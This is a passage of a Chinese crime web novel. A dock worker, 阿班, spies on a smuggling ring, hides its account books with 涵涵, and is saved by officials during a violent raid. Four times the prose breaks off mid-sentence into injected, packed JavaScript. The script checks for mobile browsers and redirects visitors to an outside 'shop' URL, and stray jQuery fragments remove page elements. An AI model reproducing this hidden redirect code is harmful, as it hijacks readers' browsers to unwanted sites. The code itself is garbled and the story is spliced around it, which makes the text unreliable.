“还有下次?”疤爷眼神阴鸷,“坏了东家的事,你我都得吃不了兜着走!”他瞥了一眼刚进门的阿班,“阿班,你过来。”
阿班心里一紧,面上不动声色:“疤爷。”
疤爷上下打量着他:“你最近活儿干得还行。眼力见儿也有。”他指了指地上那瑟瑟发抖的力工,“从今天起,晚上仓库那边的夜哨,你跟他一起。给我盯紧了!一只苍蝇飞进去都得知道!”
夜哨?阿班心头一动。这虽然辛苦,但意味着他能更接近仓库的核心区域,看到更多东西。
“是,疤爷。”他应下。
“机灵点。”疤爷又警告了一句,“出了岔子,你知道后果。”
当晚,阿班就和那个叫阿旺的年轻力工一起,守在河神庙后院的秘密仓库外。
夜色深沉,虫鸣唧唧,仓库里寂静无声。
阿旺显然还心有余悸,缩在墙角,抱着根木棍,眼睛瞪得老大,不敢有丝毫松懈。
阿班靠在另一边的墙上,看似在警戒,脑子里却在飞速运转。
指望不上琪琪,他必须自己找到突破口。账本在涵涵那里,但涵涵被看得紧,很难把账本带出来。他需要拿到更直接的证据,比如货物本身,或者交易记录。
夜哨是个机会。他可以观察仓库的守卫规律,货物的进出情况。
但时间紧迫。御史随时可能到,疤爷他们转移货物的速度也在加快。
他需要冒更大的险。
几天后的一个深夜,疤爷亲自带人又来仓库提货。这次要运走的箱子不多,但格外沉重,搬动时几乎听不到里面有任何声响。
阿班和阿旺在外围警戒。阿班注意到,疤爷对这几个箱子异常重视,亲自检查封条,指挥装车时动作都放轻了许多。
“这批是东家点名要的,不能有半点闪失。”疤爷低声对黑皮吩咐,“你亲自押送,直接上船,看着船开了再回来。”
“明白。”黑皮点头。
阿班的心跳加速。东家点名要的?会不会是……更关键的证据?或者,是涵涵在账本里提到过的、那些特别值钱的“海外奇珍”?
他必须知道箱子里是什么。
但怎么查看?箱子封得严实,疤爷和黑皮寸步不离。
就在这时,意外发生了。一个力工在搬箱子下台阶时,脚下被碎石一绊,身体失衡,箱子的一角重重磕在石阶上!
“哐!”一声闷响。
“蠢货!”疤爷脸色大变,冲过去。
箱子一角被磕裂了,露出里面黑色的、像是金属的材质,还有一丝……奇怪的、类似药味的沉闷气息。
疤爷急忙查看裂缝,脸色铁青。他狠狠瞪了那失手的力工一眼,但没时间发作,迅速让人拿来油布和麻绳,将裂缝处紧紧裹住。
“快!装车!走!”疤爷催促。
阿班借着灯笼昏暗的光,死死盯着那裂缝处。黑色的金属……药味……那形状,隐约像是……炮筒?不,更小一些。是火铳?
他的血液几乎要凝固。
如果真是火铳,那他们难道是在资敌?或是在准备更可怕的阴谋?
货物被匆匆运走,疤爷留下善后,脸色阴沉得能滴出水来。阿班知道,自己看到了不该看的东西。危险又近了一步。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119609|195952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
疤爷瞪了他一眼,他缩缩脖子。
林府那边,突然有了回音——不是他期待的回音。
这天,疤爷从外面回来,脸色有些古怪。他把阿班叫到跟前,盯着他看了好一会儿。
“阿班,你最近……有没有跟什么不该接触的人接触?”疤爷问,语气平淡,但眼神锐利如刀。
阿班心里咯噔一下,面上却露出茫然:“疤爷,您指的是……?”
“比如,林府的人。”疤爷缓缓道。
阿班的心跳漏了一拍。他强自镇定:“林府?没有啊。我这种身份,哪有机会接触林府的人。疤爷,是不是……有什么误会?”
疤爷哼了一声:“误会?最好是个误会。”他凑近了些,压低声音,“有人递话过来,说林府二小姐身边的大丫鬟,前几日在码头仓库那边,被一个形迹可疑的码头工人搭了话,说了些疯言疯语。那丫鬟吓得不轻,回去就禀报了主母。林夫人很不高兴,觉得码头区越发乱了,连累她家小姐清誉。”
阿班的手心渗出冷汗。琪琪……她果然选择了最安全的方式。不仅没帮忙,还把事情捅上去,划清了界限。
“疤爷,这……这跟我没关系啊!”阿班急忙辩解,“我那天是去送工具,路上是撞见过林府的马车,可我低着头就走了,哪敢跟人家丫鬟搭话?定是别人……”
“行了。”疤爷打断他,眼神依旧审视,“是不是你,我心里有数。不过,既然林府那边递了话,咱们就得给个交代。”他顿了顿,“最近风声紧,上面交代了,要肃清内部,别留任何隐患。你……”
阿班的心提到了嗓子眼。
“……先避避风头。”疤爷最终道,“这几天,你别在货栈露面了。去城东柳枝胡同那边,帮着桂娘处理点零碎活。那边清静,也缺人手。等这阵风过去再说。”
去柳枝胡同?和涵涵一起?
这是明摆着的监视。但是也给了他接近涵涵和接触账本的机会,会是试探吗?
“是,疤爷。”阿班低下头,掩去眼中的复杂情绪。
“记住,”疤爷最后警告,“管好你的嘴,也管好你的眼睛。不该看的别看,不该问的别问。否则……”他没说完,但意思再明白不过。
阿班离开了货栈,背着简单的行李,走向城东柳枝胡同。夕阳将他的影子拉得很长。他知道,自己暂时安全了。
夜色渐浓,柳枝胡同那扇刻着蝙蝠的木门,在昏暗的灯光下,像一张沉默的、等待吞噬的嘴。阿班站在门前,深吸一口气,抬手敲了敲门。
里面传来涵涵那依旧带着惊惶的、沙哑的声音:“谁……谁啊?”
“是我,阿班。”阿班回答,声音平静,“疤爷让我来帮忙。”
门,缓缓打开了。
29. 第二十九章 缸中秘,府中宁
门后的涵涵,依旧憔悴,眼下的乌青浓重,眼神充斥着警惕和麻木的疲惫。看到阿班,她愣了一下,随即迅速低下头,侧身让开。
“疤爷……让你来的?”她的声音很轻,带着不确定。
“嗯。”阿班走进狭小的院子,反手带上门,“说这边缺人手,让我来帮几天忙。”
院子比上次来时更显杂乱,墙角堆着些半成品的木料、破损的陶罐,还有几个用油布盖着的、形状不明的物件。空气里弥漫着灰尘、劣质胶漆和一丝若有若无的霉味。
涵涵没再说什么,默默转身走向西厢房。阿班跟了进去。
屋里比上次更显拥挤。原本还算整洁的桌面,此刻堆满了各种小工具、金属零件、碎布头,还有几本摊开的、字迹潦草的册子。油灯的光线昏暗,将涵涵单薄的影子投在斑驳的墙壁上,微微晃动。
“疤爷说……让你帮我分拣、打磨这些。”涵涵指了指桌上那堆零碎,声音没什么起伏。
阿班的目光落在那些册子上。那是账本吗?他不动声色地点头:“好。”
接下来的几天,阿班就在这间狭小的厢房里,和涵涵一起干活。活很琐碎:分类锈蚀铜钱、残破玉片;用特制的药水除锈或伪装某些金属物件;将一些看起来普通的木盒、陶罐内部做特殊处理,以便夹带东西;还有……记账。
涵涵负责主要的记账工作。她用的是一种非常简单的暗码,记录着货物的种类、数量、接收日期、处理要求,以及偶尔出现的、指向不明的代号。阿班怀疑可能是上家或下家的代号。
阿班很快就发现,涵涵对“桂娘”这个身份的代入极深。她几乎不提现实,偶尔阿班试探性地提起以前在现实世界里有趣的事情,她会露出茫然的神色,或者干脆沉默。
她似乎真的相信,自己就是那个死了男人、欠了债、不得不依附疤爷才能活下去的寡妇桂娘。现实的记忆,成了遥远而模糊的噩梦,被她本能地排斥和遗忘。
这让阿班的心不断下沉。他不仅要面对外部的危险,还要面对涵涵认知的迷失。
一天晚上,涵涵在油灯下对账,眉头紧锁。阿班在一旁整理打磨好的铜器。
“数目……对不上。”涵涵忽然低声说,声音里带着一丝不易察觉的颤抖。
“什么对不上?”阿班问。
“上个月底送来的那批青料,”涵涵指着账册上的一行,“疤爷让记的是三十件,可我点收的时候……明明是三十一件。”她抬起头,脸色苍白,“我……我是不是记错了?还是……”
阿班心里一动。“青料”是他们对某种特定瓷器的暗称。多了一件?是涵涵点错了,还是……有人故意多放了一件,或者,在转运过程中出了岔子?
“你确定点收的时候是三十一件?”阿班问。
涵涵用力点头,又摇头:“我……我不知道。那天很乱,疤爷催得急……可我明明数了好几遍……”她的声音越来越低,充满了自我怀疑和恐惧,“要是疤爷知道账对不上……他会……”
阿班看着她惊恐的样子,知道不能再刺激她。“也许是你记错了,或者后来破损了一件没来得及记。”他尽量让语气平和,“别担心,明天我帮你再核对一下实物。”
涵涵没说话,只是紧紧攥着账册,指节发白。
第二天,阿班找了个机会,去查看存放青料的角落。那批瓷器被草草装在几个大木箱里,上面盖着稻草。他小心地清点,果然……只有三十件,少了一件。
是涵涵当初点错了?还是那多出来的一件,根本就没入库,在入库前后就被转移了?
阿班没有把实情告诉涵涵,只是说清点过了,是三十件,可能是她当初记错了。涵涵似乎松了口气,但眼神里的不安并未完全散去。
几天后的一个下午,疤爷突然来了。
他脸色不太好,进门就径直走向西厢房。阿班和涵涵正在干活,见他进来,都站了起来。
疤爷没看阿班,目光直接落在涵涵身上,又扫了一眼桌上摊开的账册。
“桂娘。”疤爷开口,声音有些沉,“上个月‘永丰号’那边转过来的那批山货,账上怎么记的?”
涵涵身体一僵,连忙翻找账册,手指有些发抖。“在……在这里。疤爷,是……是七月初五收的,记的是山货二十箱,已处理,七月初十转出……”
“数目没错?”疤爷盯着她。
“没……没错。”涵涵的声音细若蚊蚋。
疤爷没说话,走到桌边,拿起那本账册,随手翻看着。他的目光在某些条目上停留片刻,脸色越发阴沉。
阿班站在一旁,垂着眼,心里却绷紧了弦。疤爷突然查账,绝不是心血来潮。难道是发现了什么吗?
“最近……有没有生人来过附近?”疤爷忽然问,目光锐利地扫过阿班和涵涵。
“没……没有。”涵涵连忙摇头。
阿班也摇头:“没有,疤爷。我一直在这儿干活,没见生人。”
疤爷哼了一声,合上账册。“都给我警醒点!最近不太平,御史的人可能已经到连州。上面交代,所有账目、货物,都要再仔细核查一遍,不能留任何把柄。”他顿了顿,看向涵涵,“桂娘,你把最近三个月的账,重新誊抄一份,要干净,清楚。原来的底账……处理掉。”
“是……是,疤爷。”涵涵应道。
“阿班。”疤爷又转向他,“你帮着桂娘。誊抄完了,把原来的账册……烧了。看着烧干净,灰烬扬了,别留痕迹。”
“明白,疤爷。”
疤爷又交代了几句,便匆匆离开了。
屋里恢复了寂静,但气氛却更加凝重。涵涵脸色惨白,看着桌上那几本账册,手微微发抖。“要……要烧掉……”
阿班走到她身边,低声道:“别怕。誊抄是好事。”
涵涵茫然地看着他。
“这意味着,上面也紧张了。”阿班解释,“御史的压力是真的。他们怕原来的账本不干净,或者……有什么他们自己都忘了的纰漏。所以让我们重新弄一份干净的。”他顿了顿,“但原来的账本,才是真正的东西。”
涵涵似乎明白了什么,眼睛微微睁大:“你是说……”
“我们不能全烧了。”阿班声音压得更低,“得留下点东西。”
涵涵的呼吸急促起来,恐惧再次攫住了她。“可是……疤爷说……”
“疤爷怕的是御史,不是我们。”阿班看着她,“我们现在很危险,但这也是机会。原来的账本里,一定有能指证他们的东西。如果我们能拿到一点,交给该交的人……也许,我们就能摆脱他们,就能出去。”
“出去……”涵涵喃喃重复,眼神里闪过一丝微弱渴望的光,但随即又被更深的恐惧淹没,“不行的……会被发现的……疤爷会杀了我们……”
“如果我们什么都不做,一样会死。”阿班的声音冷静得残酷,“不是被疤爷灭口,就是被这条线上的其他人灭口。或者等御史查过来,我们作为从犯,一样逃不掉。”他握住涵涵冰凉的手,“我们得赌一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119610|195952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
把。”
涵涵看着他,泪水在眼眶里打转。她挣扎着,现实里那个只当过普通白领的涵涵,和这个虚拟世界里被恐惧彻底压垮的桂娘,在她身体里激烈交战。最终,她微微点了点头。
“我……我该怎么做?”
阿班迅速思考。“疤爷让我们誊抄,这是最好的掩护。你把最近三个月,尤其是涉及大额交易、特殊货物、以及有上层代号的条目,单独挑出来,用另一张纸,照原样抄一份,但要更简略,只保留最关键的信息——时间、代号、数量、金额。字迹可以稍微变一下。”
“那……原来的账本呢?”
“挑几本最不重要的,或者破损严重的,烧掉一部分,应付疤爷检查。关键的几本……”阿班环顾四周,“得藏起来。藏在一个疤爷绝对想不到,也轻易找不到的地方。”
“哪里?”
阿班的目光,落在了墙角那个堆放杂物的破旧矮柜上。那是涵涵放账本的地方,也是疤爷知道的地方。最危险的地方,有时候……
不,不能藏在这里。他马上否定了自己的想法。疤爷如果起疑,第一个搜的就是这里。
他的视线移向窗外,落在院子里那口废弃的、半截埋在地里的破水缸上。水缸里积了半缸雨水和淤泥,上面盖着几块破木板。
“院子里那口破缸,”阿班低声道,“把关键的账本,用油布包好,沉到缸底的淤泥里。上面用石头压住。短时间内,应该不会有人去翻那口废缸。”
涵涵顺着他的目光看去,脸上血色尽失。“那……那要是下雨,或者……”
“油布能防水一段时间。”阿班道,“我们不需要藏很久。只要在御史的人查到之前,或者在我们找到机会把副本送出去之前,不被发现就行。”
这计划漏洞百出,风险极大。但他们没有更好的选择。
涵涵咬着嘴唇,最终,再次点了点头。
接下来的两天,两人在疤爷的眼皮底下,开始了誊抄和藏匿。涵涵负责筛选和抄写关键条目,阿班则负责将选定的原始账本,趁夜色悄悄处理。
每一分每一秒都像是在刀尖上行走。任何一点风吹草动,都让涵涵惊惶不已。阿班则必须时刻保持镇定,安抚她,同时警惕着外面的动静。
第三天晚上,关键的几本账本终于被处理完毕。副本藏在了涵涵床铺下的一块松动的地砖下。原始账本中最重要的部分,被油布层层包裹,沉入了破水缸底冰冷的淤泥中。
做完这一切,两人都像是虚脱了一般。涵涵坐在床边,脸色苍白,眼神空洞。阿班靠在墙上,听着自己如擂鼓般的心跳。
窗外,夜色深沉。连州港的方向,隐约有灯火明灭。
而此刻的林府深宅中,我正对着一碗冰镇莲子羹,小口小口地吃着。下午母亲特意叫我过去,语气平淡地提了一句,说码头区那边有些不三不四的人乱传话,已经让下面的人打点过了,叫我不必放在心上,以后少去那些腌臜地方便是。
我乖巧地应了,心里却松了口气。那个自称“班班”的疯子,也不知道是哪里来,现实那个狗老班怎么可能跟她来到同一段世界里,就算来也不应该是个男的。这会儿估计那个“班班”已经被处理了,不会再来打扰我的安宁。
我舀起一勺晶莹的莲子,送入口中。清甜冰凉,驱散了心头最后一丝若有若无的不安。
外面的风雨,与我何干?
我只要这碗中的清甜,和这府中的安稳,长长久久,别再重蹈上一次的覆辙惨死在外面就行了。
30. 第三十章 暴雨中的獠牙
连州城下起了瓢泼大雨,雨水敲打着柳枝胡同低矮的屋顶,顺着破损的瓦片漏进屋里,在墙角汇成一小滩浑浊的水。油灯的光在潮湿的空气里摇曳,将涵涵伏案抄写的侧影投在斑驳的墙上,显得格外单薄。阿班坐在一旁,打磨着一批新送来的铜扣。
突然,一阵急促的拍门声打破了寂静。
“砰砰砰!砰砰砰!”
力道很大,带着一种不容置疑的急促。
涵涵吓得手一抖,笔尖在纸上划出一道长长的墨痕。她惊恐地看向阿班。
阿班的心也猛地一沉。这个时间,这种天气,谁会来?
“桂娘!开门!快开门!”外面传来一个粗嘎的男声,是黑皮!
阿班迅速对涵涵做了个噤声的手势,低声道:“我去看看。”他起身,走到门边,没有立刻开门,而是隔着门板问:“谁啊?这么晚了。”
“少废话!阿班,开门!疤爷有急事!”黑皮的声音透着不耐烦。
阿班深吸一口气,拉开门栓。
门刚开一条缝,黑皮就带着一身雨水和寒气挤了进来,身后还跟着两个同样湿透的汉子,都是疤爷手下的打手,眼神凶悍,雨水顺着他们的蓑衣和头发往下淌,在地上留下肮脏的水渍。
“疤爷呢?”黑皮劈头就问,目光锐利地扫过屋里。
“疤爷不是在货栈吗?”阿班稳住心神,答道。
“货栈没人!”黑皮脸色难看,“东家那边出事了!急召疤爷过去!我们找了一圈没找到人,想着他会不会来这儿交代事情!”
东家出事了?阿班心头剧震。是御史动手了?
涵涵已经吓得站了起来,脸色惨白,紧紧攥着衣角。
“疤爷来过一趟,交代了誊抄账本的事,然后就走了。”阿班尽量让语气显得茫然,“没听说要去别处啊。”
黑皮烦躁地抹了把脸上的雨水,目光再次扫过桌面,落在那些摊开的账册和涵涵刚抄了一半的纸上。“账抄得怎么样了?”
“还……还在抄。”涵涵的声音细若蚊蚋。
黑皮走过去,随手翻了翻涵涵抄写的部分,又看了看原来的账册。他的眉头皱得更紧。“妈的,这节骨眼上……”他低声骂了一句,忽然抬头,盯着涵涵,“桂娘,疤爷最近有没有交代你别的?比如特别的东西放哪儿了?或者,有没有生人跟你接触过?”
涵涵拼命摇头,眼泪都快出来了:“没……没有……疤爷只让抄账……别的什么都没说……”
黑皮又看向阿班。
阿班摇头:“我一直都在这儿帮忙,没见生人。”
黑皮显然不信,但他现在更着急找到疤爷。他冲身后两个打手使了个眼色:“搜一下!看看疤爷有没有留下什么话或者东西!”
两个打手立刻开始粗暴地翻找。桌子被推开,杂物被踢到一边,床铺被掀开……
阿班的心提到了嗓子眼。副本就藏在床下那块松动的地砖下!虽然有伪装,但这样粗暴的翻找……
涵涵已经吓得瘫坐在椅子上,浑身发抖。
一个打手走到床边,用脚踢了踢床板,又弯腰看了看床底。他伸手进去,胡乱摸索着……
阿班的手悄悄握成拳,指甲掐进掌心。如果被发现……
就在这时,另一个打手在墙角矮柜后面,踢到一个硬物。他弯腰捡起来,是一个用油纸包着的小木盒,不大,但很沉。
“黑皮哥,你看这个!”
黑皮接过木盒,打开。里面是几锭雪花银,还有一张折叠起来的、被雨水浸湿了边缘的纸条。
黑皮展开纸条,就着油灯昏暗的光看了一眼,脸色瞬间变得极其难看。
“操!”他狠狠骂了一句,将纸条揉成一团,塞进怀里。“走!去码头!”
“黑皮哥,找到疤爷了?”一个打手问。
“别问了!快走!”黑皮语气急促,带着不容置疑的恐慌。
他们不再理会阿班和涵涵,像来时一样,匆匆冲进雨幕,消失在黑暗的胡同里。
门被风吹得来回晃动,发出“吱呀”的声响。雨水斜扫进来,打湿了门口的地面。
屋里一片死寂。
阿班走过去,关上门,插好门栓。他回到桌边,看着瘫软在椅子上的涵涵,又看了看被翻得一片狼藉的屋子。
“他们……他们找到什么了?”涵涵抬起头,哆哆嗦嗦地问。
“不知道。”阿班摇头,心里却翻江倒海。那个木盒,那张纸条……黑皮的反应说明,那绝对是极其糟糕的消息。东家出事,急召疤爷,疤爷失踪,黑皮找到的线索指向码头……
“码头……”阿班喃喃道。
“我们……我们怎么办?”涵涵抓住阿班的袖子,像抓住最后一根稻草,“账本……他们会不会再回来搜?”
阿班强迫自己冷静分析:“黑皮现在急着找疤爷。如果一直找不到疤爷,他就会接过这条线上的控制权,那他一定会再回来毁掉账本。”
他看了一眼窗外,雨势丝毫没有减弱的迹象。
“涵涵,”他蹲下身,看着她的眼睛,“听着,我们可能没有多少时间了。东家出事,这条线上的人都会像没头的苍蝇,要么疯狂逃窜,要么互相灭口。我们必须尽快把这里的消息送出去。”
“怎么送?外面……外面都是他们的人……”涵涵的声音充满绝望。
阿班也在想这个问题。直接去找何翯?他不知道何翯现在在哪里。而且,外面风雨这么大,疤爷的人可能正在四处活动,风险太大。
他的目光落在了墙角那堆被翻乱的杂物上,那里有他打磨好的铜扣,还有一些准备用来伪装的普通物件。阿班迅速从怀里掏出那份之前写好的、一直没机会送出的竹纸密报,揉搓塞进一枚打磨好的、中间被特意留出空隙的铜扣里,然后用特制的胶泥封好口。这枚铜扣看起来和其他的没什么两样。
“这个,”他将那枚特殊的铜扣递给涵涵,“你贴身藏好。万一……万一我们走散了,或者出了什么事,想办法找到盒盒把这枚扣子给她。”
“盒盒?”涵涵有些惊讶。
“对。她也在连州,她的名字现在是这么写。”阿班拿过桌上的笔,在废纸上快速地写写“何翯”两字。“看明白了吗?看明白就烧掉。”
涵涵紧紧握住那枚铜扣,冰凉的金属硌着掌心,却带来一丝奇异的镇定。她看着阿班,用力点了点头。阿班连忙将废纸烧掉。至于账册的证据,只能到时候告诉何翯叫她派人自己来搜了。
突然,一阵更加粗暴、密集的拍门声再次响起。阿班和涵涵的心同时一紧,黑皮居然回来得那么快。
“开门!快开门!”是黑皮的声音焦躁
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119611|195952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
甚至带上了戾气。
阿班深吸一口气,示意涵涵留在原地别动,自己起身,走到门边。他没有立刻开门,而是隔着门板,用带着睡意和惶恐的声音问:“谁……谁啊?又怎么了?”
“少他妈装睡!开门!”黑皮吼道,伴随着用脚踹门的闷响。
门刚开,黑皮就带着一股湿冷的腥气闯了进来,身后跟着四五个打手,个个面色不善,手里都提着棍棒或短刀。他们的眼神比之前更加凶狠,像一群被逼到绝境的饿狼。
黑皮的目光像刀子一样刮过阿班的脸,又扫向屋里瑟缩在阴影里的涵涵。
阿班露出恰到好处害怕:“黑皮哥,到底出什么事了?”
“出什么事了?”黑皮冷笑,眼神阴鸷,“东家那边……栽了!栽得透透的!现在衙门的人跟疯狗一样到处咬!疤爷这个节骨眼上玩失踪……”他猛地逼近阿班,几乎贴着他的脸,“说!是不是你们搞的鬼?!疤爷是不是被你们藏起来了?还是……你们他妈的就是衙门放出来的饵?!”
“黑皮哥!冤枉啊!”阿班急忙后退一步,脸上血色尽失,“我们……我们哪有那个胆子!我们一直在这儿抄账,门都没出啊!”
“抄账?”黑皮的目光再次落到桌上那些账册上。他顿了顿,语气变得温和了些,却更让人毛骨悚然:“你们俩也算为这条线出过力。现在情况不对,留下来怕是凶多吉少。”
阿班的心沉了下去。这是要……灭口?
“黑皮哥的意思是……”他小心翼翼地问。
“我的意思是,”黑皮拍了拍阿班的肩膀,力道不轻,“趁现在衙门的人还没摸到这儿,你们赶紧收拾点紧要的东西,离开连州。走得越远越好,永远别再回来。”
阿班和涵涵对视一眼。这听起来像是放他们一条生路,但……
“那……这些账本,还有货……”阿班指了指屋里。
“这些不用你们管了。”黑皮摆摆手,“我会处理。你们赶紧走,天亮前必须出城!”他的语气不容置疑,带着最后的耐心。
阿班知道,再犹豫或质疑,黑皮很可能立刻翻脸。他连忙点头:“是,是,谢谢黑皮哥!我们这就收拾!”
他转身,对涵涵使了个眼色:“桂娘,快,把咱们自己的东西收拾一下,赶紧走!”
涵涵会意,连忙起身,开始胡乱收拾一些衣物和零碎。她的手抖得厉害,几乎拿不住东西。阿班的目光却飞快地扫过屋里。他看到黑皮带来的两个打手,已经开始在屋里四处翻找,显然不只是为了处理货物,更像是在找什么特定的东西。
他的心念电转。黑皮让他们走,未必是真想放他们生路,更可能是想把他们赶出去,然后在城外无人处……
无论如何,留在这里更危险。
“黑皮哥,我们……我们收拾好了。”阿班背起一个不大的包袱,涵涵也提了一个小布包,里面只装了几件换洗衣物和一点干粮。
黑皮看了看他们寒酸的行李,似乎满意了。“从后门走,别走大路。出了城,往南,别回头。”他挥挥手,像赶苍蝇一样。
“是,是。”阿班拉着涵涵,低着头,快步走向通往后院的小门。
就在他们即将踏出屋门的瞬间,一个打手忽然踢开了床板,露出下面松动的地砖。
“黑皮哥!这里有块砖松了!”
31. 第三十一章 破门
黑皮眼神一厉,立刻走过去撬开砖,伸手进去摸索,掏出了副本。
“这是……”他猛地抬头,目光如毒蛇般盯向已经走到后门口的阿班和涵涵,“你们在搞什么鬼?!”
“黑皮哥,那……那是还没来得及处理的账本……”阿班急忙解释,声音发干。
黑皮的脸色彻底阴沉下来,眼中杀机毕露。“好,很好……吃里扒外的东西!”他缓缓抽出腰间的短刀。
“黑皮哥,误会!真是误会!”阿班将涵涵护在身后,一步步后退。
几个打手立刻围了上来。
阿班知道,解释已经没用了。他猛地将涵涵往后一推:“跑!”
同时,他抄起门边倚着的一根顶门杠,朝着冲在最前面的打手横扫过去!
那打手猝不及防,被扫中小腿,惨叫一声扑倒在地。
“妈的!还敢动手!”黑皮怒吼,挥刀扑上。
阿班不会什么武功,全凭一股狠劲和码头打架的经验,挥舞着顶门杠,勉强抵挡。但对方人多,又有刀,很快他身上就被划了几道口子,火辣辣地疼。
涵涵被推得踉跄后退,撞在院墙上。她看着阿班在刀光棍影里搏命,吓得魂飞魄散,但求生的本能让她没有瘫软。她想起阿班的话,想起那枚贴身藏着的铜扣……
跑!必须跑出去!把消息送出去!
她咬紧牙关,转身就往后院深处跑。后院墙不高,但湿滑。
“别让那娘们跑了!”黑皮吼道。
一个打手立刻追向涵涵。
阿班见状,不顾身后袭来的棍棒,猛地将顶门杠掷向那个追涵涵的打手。打手被绊了一下,慢了半拍。
涵涵已经跑到墙边,手脚并用地往上爬。雨水和泥泞让她几次滑下来,指甲抠进了泥土和砖缝,磨出了血。
“快!”阿班嘶吼着,用身体撞开另一个扑向涵涵的打手,自己背上又挨了一棍,喉头一甜。
涵涵终于爬上了墙头,回头看了一眼。雨幕中,阿班浑身是血,被几个人围在中间。
“班班!”她哭喊了一声。
“走!”阿班用尽力气喊道。
涵涵泪流满面,一咬牙,翻过墙头,跌入墙外更深的黑暗和泥泞中。
“追啊!”黑皮气急败坏。
两个打手翻墙追了出去。
阿班想阻拦,但剩下的三个人已经将他死死缠住。他本就受伤,渐渐力不从心。
黑皮看着阿班,眼中杀意沸腾。“小子,不管你是不是衙门的人,今天……你都得死在这儿!”他举起了刀。
阿班背靠着冰冷的墙壁,雨水混合着血水从额头流下,模糊了视线。他看着黑皮逼近的刀锋,听着远处涵涵可能被追上的方向传来的隐约声响……
他知道,自己可能等不到黎明了。
但至少……涵涵有机会。
他握紧了拳头,准备做最后的挣扎。
就在这时——
“砰!砰!砰!”
前院门方向,传来了更加沉重、整齐、带着某种威严的拍门声!
一个洪亮的声音穿透雨幕,清晰地传来:“里面的人听着!官府查案!速速开门!”
阿班一愣,随即,一股绝处逢生的狂喜涌上心头。
前院门外,火把的光亮穿透雨幕,映在湿漉漉的门板上。
那声“官府查案”像一道惊雷,劈开了小院内外紧绷的死寂。
黑皮举刀的手僵在半空,脸上的凶狠瞬间被惊疑和恐慌取代。他猛地扭头看向院门方向,又迅速扫了一眼浑身是血,背靠墙壁的阿班,眼神闪烁不定。
“妈的……真来了?”一个打手声音发颤,下意识地往后退了半步。
“闭嘴!”黑皮低吼,但声音也压不住那一丝慌乱。
是东家那边彻底崩了,牵连过来了?还是疤爷失踪引来的?或者,是眼前这个叫阿班的小子搞的鬼?
黑皮脑子里乱成一团,但求生的本能让他迅速做出判断——绝不能开门!开门就是死路一条!
“砰——!!!”
一声远比之前更加猛烈的撞击声响起!不是拍门,是撞门!前院的木门剧烈震动,门栓发出不堪重负的呻吟。
“里面的人听着!再不开门,以拒捕论处!格杀勿论!”门外那洪亮的声音再次响起,带着冰冷的杀气。
黑皮脸色煞白。他知道,普通的差役没这个胆子。
“快!快走!”他再顾不上阿班,也顾不上那些账本货物了,保命要紧!
他带头冲向通往后院的小门,一个打手紧随其后。
另外两个打手犹豫了一下,看了一眼靠在墙边似乎失去反抗能力的阿班,又看了一眼屋里桌上那些账册……其中一个眼中闪过一丝贪婪,竟转身扑向桌子,想抓几本看起来重要的账册!
“蠢货!要钱不要命!”黑皮回头看见,气得大骂,但脚下不停。
就在那打手的手即将碰到账册的瞬间——“哗啦——!!!”
院门终于被暴力撞开!破碎的门板向内飞溅,几个黑影如猎豹般迅猛地冲了进来!他们穿着深色劲装,外罩简易蓑衣,动作矫健,手中兵器寒光闪闪。为首一人,身形挺拔,雨水顺着斗笠边缘流下,看不清面容,但那股肃杀之气扑面而来。
“拿下!”那人一声令下,声音冷硬。
冲进来的官差立刻扑向院内的打手。那个想拿账册的打手被一个官差从侧方一脚踹翻在地,账册散落一地。另一个打手刚跑到后院门口,就被两名官差堵住,几招之下就被制服。
黑皮已经在翻墙,身后劲风袭来!他回身挥刀格挡,“铛”的一声,火星四溅,震得他手臂发麻。一个招式狠辣的官差硬生生把他拽下来。
“操!”黑皮知道跑不掉了,凶性大发,拼命搏杀。但他心慌意乱,又失了先机,很快就被那官差一刀劈在肩头,惨叫一声,刀脱手飞出,随即被按倒在地,用牛皮绳捆了个结实。
整个过程,不过几分钟。
阿班冷眼看着这一切,雨水冲刷着他脸上的血污,带来刺骨的寒意。他紧紧盯着那个为首的人,试图辨认。
不是何翯。何翯是女子,身形没这么高大。
会是谁?州府的捕快?还是……谁带来的亲随
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 